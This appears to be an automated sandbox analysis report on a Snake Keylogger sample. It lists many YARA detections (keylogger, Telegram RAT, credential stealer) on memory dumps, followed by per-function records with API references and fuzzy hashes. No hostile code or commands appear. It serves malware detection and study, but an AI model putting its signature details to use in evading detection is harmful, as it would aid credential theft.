Description: Detects Snake Keylogger, Source: 00000000.00000002.737205564.00000000028B7000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737680246.0000000002990000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737438859.0000000002934000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737240182.00000000028CB000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738349545.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738520206.0000000002AE9000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737615006.000000000297C000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738206086.0000000002AA9000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737694580.0000000002998000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738046605.0000000002A75000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737534636.0000000002954000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738084741.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738331335.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737246038.00000000028CF000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737258885.00000000028D7000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737950672.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738536747.0000000002AED000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737218317.00000000028BF000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737983761.0000000002A61000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737998771.0000000002A65000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737291941.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737504124.0000000002948000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737901412.0000000002A41000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737883433.0000000002A35000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737944111.0000000002A4D000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738244012.0000000002AB1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737409041.0000000002920000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738141181.0000000002A95000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737889019.0000000002A39000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737855627.00000000029FC000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737285680.00000000028EB000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000000.00000000.429980691.0000000000532000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000000.429980691.0000000000532000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.429980691.0000000000532000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000000.429980691.0000000000532000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738079094.0000000002A7D000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738039601.0000000002A71000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738059775.0000000002A79000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738194827.0000000002AA5000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737190839.00000000028A7000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737592635.0000000002970000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738181191.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737144637.000000000288C000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737978655.0000000002A5D000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737655258.0000000002988000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000000.00000002.735961437.0000000000532000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.735961437.0000000000532000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.735961437.0000000000532000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.735961437.0000000000532000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737628909.0000000002980000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737833563.00000000029F4000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737414593.0000000002924000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737929824.0000000002A45000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737560330.0000000002960000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737825477.00000000029F0000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738023885.0000000002A6D000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738485397.0000000002AE5000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737575208.0000000002968000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737808101.00000000029E4000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737431755.0000000002930000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737466902.0000000002940000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737280426.00000000028E7000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737670833.000000000298C000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737689328.0000000002994000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737225304.00000000028C3000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737609149.0000000002978000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737936851.0000000002A49000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737641884.0000000002984000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738147230.0000000002A99000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738223259.0000000002AAD000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738314614.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737450837.0000000002938000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737597795.0000000002974000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738125525.0000000002A8D000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738160524.0000000002A9D000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738425558.0000000002AD9000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738406461.0000000002AD5000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738262050.0000000002AB5000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737864301.0000000002A00000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737968200.0000000002A55000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.737105124.0000000002867000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.737105124.0000000002867000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737105124.0000000002867000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737263659.00000000028DB000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737253851.00000000028D3000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738109588.0000000002A89000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737973247.0000000002A59000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737457876.000000000293C000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737523761.0000000002950000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737154483.0000000002890000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737212904.00000000028BB000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737268236.00000000028DF000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737839802.00000000029F8000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738270244.0000000002AB9000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738131471.0000000002A91000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737420491.0000000002928000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738395968.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.738017194.0000000002A69000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737513462.000000000294C000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.737567001.0000000002964000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000003.670353008.0000000002E38000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.739661705.000000000671A000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low

Show Windows behavior

Execution Graph

Execution Coverage:	20.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	28.2%
Total number of Nodes:	170
Total number of Limit Nodes:	10

Executed Functions

Function 00C6A45D Relevance: 4.3, Strings: 1, Instructions: 3073COMMON

Download Yara Rule

Strings

N, xrefs: 00C6D848

Memory Dump Source

Source File: 00000000.00000002.736812449.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_0OZQi3b0tM.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: a9f067ab60fe887b9720b58dbb98d5b0ed82b936cfc926874cd6226fbe13f845
Instruction ID: ec9e80826611af92999079a024858968b10c925599e5dbdd5bd17f1bdaf44716
Opcode Fuzzy Hash: a9f067ab60fe887b9720b58dbb98d5b0ed82b936cfc926874cd6226fbe13f845
Instruction Fuzzy Hash: BF73D631D10B598ECB21EF68C894AA9F7B1FF95304F11D69AE45877221EB70AAC4CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00C65587 Relevance: 2.1, APIs: 1, Instructions: 634
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 00C65635

Memory Dump Source

Source File: 00000000.00000002.736812449.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_0OZQi3b0tM.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d8acbcd9b263c4bb262d6116521e21b503d97b2511ca39dc9fdc46472f4d1e71
Instruction ID: 9e395aa2abdd858ad0a32d6b71fc2993ac492da4be7b936fed36b0c1aceb29c1
Opcode Fuzzy Hash: d8acbcd9b263c4bb262d6116521e21b503d97b2511ca39dc9fdc46472f4d1e71
Instruction Fuzzy Hash: 8362C074E00628CFDB64DFA9C884BDDBBB2BB99304F2485E9D409A7255D7709E81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04ECB798 Relevance: 1.8, APIs: 1, Instructions: 302
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: b2841f804eef0b7330b76cf5e9e494cfcea25238af10206d1568e8035c8a045d
Instruction ID: a1dc2b58ed2b615cdd42e34724e6d9b532ee2d50b66bf0050883bb1a36dadccb
Opcode Fuzzy Hash: b2841f804eef0b7330b76cf5e9e494cfcea25238af10206d1568e8035c8a045d
Instruction Fuzzy Hash: 53C16B74A007058FDB14DF69D491AAEBBF6EF88208B00992ED44ADB751DB34F946CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C683C9 Relevance: 1.8, APIs: 1, Instructions: 277
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 00C6855B

Memory Dump Source

Source File: 00000000.00000002.736812449.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_0OZQi3b0tM.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: a9fb6a77891fcf29016d3f492aeaeac64c24f77f47c9e11e78161ca56bf91366
Instruction ID: 8f58c27311d0eaa607d943b0389e8f9d385d0cfcb03c5281dad6d722c948ae81
Opcode Fuzzy Hash: a9fb6a77891fcf29016d3f492aeaeac64c24f77f47c9e11e78161ca56bf91366
Instruction Fuzzy Hash: 80D1C378E00218CFDB64DFA5D994B9DBBB2BF88304F2085A9D409A7365DB355E85CF10

Uniqueness

Uniqueness Score: -1.00%

Function 00C66111 Relevance: 1.8, APIs: 1, Instructions: 274
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 00C661EC

Memory Dump Source

Source File: 00000000.00000002.736812449.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_0OZQi3b0tM.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 9e4795ff5fb4be0b671f09baa8762cd780f556be4364ba9b60a2ece47ab5156e
Instruction ID: af400a3a73363efbb8027d425cd3ecb2ac6bf64210a73dff76eb2fd13293c739
Opcode Fuzzy Hash: 9e4795ff5fb4be0b671f09baa8762cd780f556be4364ba9b60a2ece47ab5156e
Instruction Fuzzy Hash: CAD1C278E00218CFDB68DFA5D994B9DBBB2BF88304F2084A9D409A7365DB355E85CF10

Uniqueness

Uniqueness Score: -1.00%

Function 04EC0498 Relevance: 1.8, APIs: 1, Instructions: 268
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 04EC0563

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 99b734f9bd26af77b8262c98cac43b4e47c215921f9ad816710f34e87e244998
Instruction ID: 622c0de0e80a60ab7be5568c775017dc2e7d89e37c471a108af771ae1cf6dbc1
Opcode Fuzzy Hash: 99b734f9bd26af77b8262c98cac43b4e47c215921f9ad816710f34e87e244998
Instruction Fuzzy Hash: C3C1B178E00218CFDB64DFA5C994B9DBBB2BF89304F2094A9D409AB355DB355E82CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04EC0040 Relevance: 1.8, APIs: 1, Instructions: 268
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 04EC010B

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 47f6cc1e4a52687b2a3679e580f16a00d6a80b7f922f67ba63e5ab1056ef5bf3
Instruction ID: 0ffdec858db4c694da40ad8bc5e43349f7beff488fd7627af88f6893bb51b316
Opcode Fuzzy Hash: 47f6cc1e4a52687b2a3679e580f16a00d6a80b7f922f67ba63e5ab1056ef5bf3
Instruction Fuzzy Hash: EDC1B374E00218CFDB64DFA5C954B9DBBB2BF89304F2095A9D809AB355DB355E82CF10

Uniqueness

Uniqueness Score: -1.00%

Function 04EC08F0 Relevance: 1.8, APIs: 1, Instructions: 268
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 04EC09BB

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: a6dd121ca4e7cbb8b1166b93f36e2f808605b9687701d05d0fb1d1729a59c04e
Instruction ID: 56fe211f03a02e4a40d23e305307336dc7b09419ba19b4ba216f2d9dff55aacf
Opcode Fuzzy Hash: a6dd121ca4e7cbb8b1166b93f36e2f808605b9687701d05d0fb1d1729a59c04e
Instruction Fuzzy Hash: 1EC1B174E00218CFDB64DFA5C994B9DBBB2BF89304F2094A9D809AB355DB355E82CF10

Uniqueness

Uniqueness Score: -1.00%

Function 04EC5850 Relevance: 1.7, Instructions: 1675
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c591cd6a0c4b7f3307303857151bd5d14a024ea7e1c1c688185b30c97fcdf65d
Instruction ID: 5896a8b04467f259463565d5f052fba6efb0a677bf55a3018e76e9f9d893b0db
Opcode Fuzzy Hash: c591cd6a0c4b7f3307303857151bd5d14a024ea7e1c1c688185b30c97fcdf65d
Instruction Fuzzy Hash: 4AB211357852148FCF14DA9CE880ADD7B72EB66324FA153B5C409DBF61D63E9A838E40

Uniqueness

Uniqueness Score: -1.00%

Function 04EC001E Relevance: 1.6, APIs: 1, Instructions: 115
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 04EC010B

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 445f2256c4df6ee5363e9d6672317485bc1f1b2bc1a5e21f8428b83b8b6f693f
Instruction ID: 01f6552f7f974cbde928c99b7e171728008add4a50c6b3810027a4a6455508d6
Opcode Fuzzy Hash: 445f2256c4df6ee5363e9d6672317485bc1f1b2bc1a5e21f8428b83b8b6f693f
Instruction Fuzzy Hash: D4411474E05248CFDB18CFEAC9556DDBBB2AF89304F60D16AC414AB265EB385906CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04EC0488 Relevance: 1.6, APIs: 1, Instructions: 104
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 04EC0563

Memory Dump Source

Source File: 00000000.00000002.738925084.0000000004EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ec0000_0OZQi3b0tM.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: cf715f8f4bd96cfcd6ff7634da57e34dee73b1f03b7ddf53c41966e77a310e43
Instruction ID: dcd5016854fe6171ac08a561c7f0d17b41b69de5d4e0918f8497aa455de7f249
Opcode Fuzzy Hash: cf715f8f4bd96cfcd6ff7634da57e34dee73b1f03b7ddf53c41966e77a310e43
Instruction Fuzzy Hash: 8241D174E01248CBDB28DFEAD9546DEBBB2AB89304F20D12ED418AB255DB355946CF40

Uniqueness

Uniqueness Score: -1.00%

Function 04EC08E0 Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 04EC09BB
